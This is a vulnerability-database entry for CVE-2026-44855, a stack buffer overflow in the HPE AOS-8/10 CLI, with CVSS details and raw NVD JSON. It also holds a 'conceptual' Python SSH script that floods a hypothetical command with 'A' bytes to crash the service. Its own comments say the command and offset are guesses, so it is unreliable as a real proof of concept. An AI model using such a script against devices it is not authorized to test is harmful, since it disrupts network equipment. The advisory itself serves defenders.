Security Vulnerability Report
中文
CVE-2026-44855 CVSS 7.2 HIGH

CVE-2026-44855

Published: 2026-05-12 20:16:44
Last Modified: 2026-05-12 20:16:44

Description

Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HPE AOS-8
HPE AOS-10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-44855 Stack-based Buffer Overflow in HPE AOS-8/10 CLI Note: This requires valid administrative credentials. """ import paramiko import time def send_exploit(target_ip, username, password): try: # Establish SSH connection to the device CLI client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Invoke shell to interact with the CLI shell = client.invoke_shell() time.sleep(1) # Receive initial banner print(shell.recv(1024).decode()) # Construct the malicious payload # Offset is hypothetical and needs to be determined via debugging # Filling the buffer to cause overflow crash_payload = b"A" * 2000 # Target a vulnerable management command (hypothetical command) # Sending the crafted request command = b"vulnerable_service_command " + crash_payload + b"\n" shell.send(command) # Wait for response/crash time.sleep(2) output = shell.recv(4096).decode() print(output) if "Segmentation fault" in output or len(output) == 0: print("[+] Potential crash detected.") client.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Replace with actual target credentials send_exploit("192.168.1.1", "admin", "password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44855", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:44.117", "lastModified": "2026-05-12T20:16:44.117", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}